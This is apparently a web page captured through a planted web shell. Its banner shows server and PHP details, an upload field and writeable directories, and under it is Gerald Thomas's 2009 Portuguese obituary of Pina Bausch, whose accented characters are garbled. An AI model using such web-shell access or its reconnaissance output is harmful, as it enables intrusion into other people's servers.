KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/gthomas.interport/chronicles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/gthomas.interport/chronicles/chronicles_20090701.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Gerald Thomas &amp; Dry Opera Company</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<meta name="keywords" CONTENT="OperaSeca, DryOpera, GeraldThomas, Opera, Theater, Teatro, Musica, Entertainment,Music">
<meta name="description" CONTENT="OperaSeca, DryOpera, GeraldThomas, Opera, Theater, Teatro, Musica, Entertainment,Music">
<link type="text/css" href="/styles/styles.css" rel="StyleSheet" media="screen">
</head>

<body>
<table style="margin:0 auto;" class="main"  cellspacing="0" cellpadding="0">
<tr><td class="header" align="left" height="100" style="background-image:url('/images/hd-chronicles.jpg')">
<script src="/mainnav.js" language="JavaScript" type="text/javascript"></script></td></tr>
<tr>
<td class="press2">

<p><strong>Gerald Thomas</strong></p>
<p>July 1, 2009</p>
<p>Especial para a Folha, em Nova York</p>

<h1><strong>N�s, do teatro, a invej�vamos</strong></h1>
<p><b>Pina Bausch sacaneava o bal� cl�ssico e era a "senhora Beckett" da dan�a</b></p>

<p>Meu Deus, o que dizer? Morreu a maior de todas ou de todos. Morreu aquele inventor que todos n�s do teatro invej�vamos. Sim, esse � o termo. Invej�vamos, pois Pina Bausch conseguiu reunir com seu visionarismo inacredit�vel a "obra de arte total" (termo criado por Richard Wagner), com poucos elementos minimalistas, duplicados, ampliados at� um ponto de erup��o, como um vulc�o. </p>

<p>Sim, seus bailarinos repetiam e repetiam temas obsessivos da impossibilidade entre a rela��o entre homem e mulher, e a mulher objeto. � claro, Pina sacaneava o pr�prio bal� cl�ssico no qual se formou. Eram horas de cena sobre como fazer um movimento cl�ssico ou exerc�cio de barra. Eram horas sempre lindas e l�dicas, de uma l�grima caindo lentamente de um s� olho de uma bailarina e atriz, formada em seu teatro na pequena cidade de Wuppertal.</p> 

<p>Pina Bausch foi algu�m que abriu uma nova p�gina na dramaturgia da dan�a e do teatro. Tivemos poucos. Muito poucos. Bob Wilson e Tadeuz Kantor e poucos outros constru�ram um dicion�rio, um vocabul�rio reconhec�vel e imitado mundo afora. Tenho que confessar que assisti a todos os seus trabalhos, desde os mais convencionais, at� os �ltimos, baseados em cidades pelas quais perambulava pelo mundo. Pina est� acima do nosso julgamento. </p>

<p>Nos �ltimos tempos, estranhamente, ela estava basicamente trilhando uma esp�cie de revisita��o do que parece ter sido o in�cio da vida e carreira de Bob Wilson (baseado no autismo de Christopher Knowles), usando di�logos desconexos e mais minimalistas do que nunca: "Posso te amar?". "N����oooo!!!" "Posso te amar por um dia?" "N����ooooo!!!!" </p>

<p>Pina � Beckett puro. Ali�s, os dois se encontraram. � a �nica coisa que t�nhamos em comum. Nos encontramos duas vezes, em turn�s comuns pelo mundo, e poucas palavras trocamos. E era sobre Samuel Beckett que fal�vamos. Pina construiu uma obra gigantesca e monumental.</p> 

<p>Estou impactad�ssimo com a not�cia de sua morte. Como todo g�nio, ser� estudada, amada e reverenciada pelas d�cadas que vir�o. E aquela l�grima que escorria pelo rosto daquela bailarina? Agora escorre no meu e profundamente. Pina foi a pedra fundamental para toda uma gera��o (ou v�rias). Nunca se recuperou da morte do marido. Nunca se recuperou da trag�dia da vida, da "dor do mundo" que carregava e que est� pontuada em sua obra com tanta delicadeza. </p>


<br><br>
<a href="/chronicles.htm" class="servlink">BACK</a>

</td></tr>
</table>
</body>
</html>


Anon7 - 2021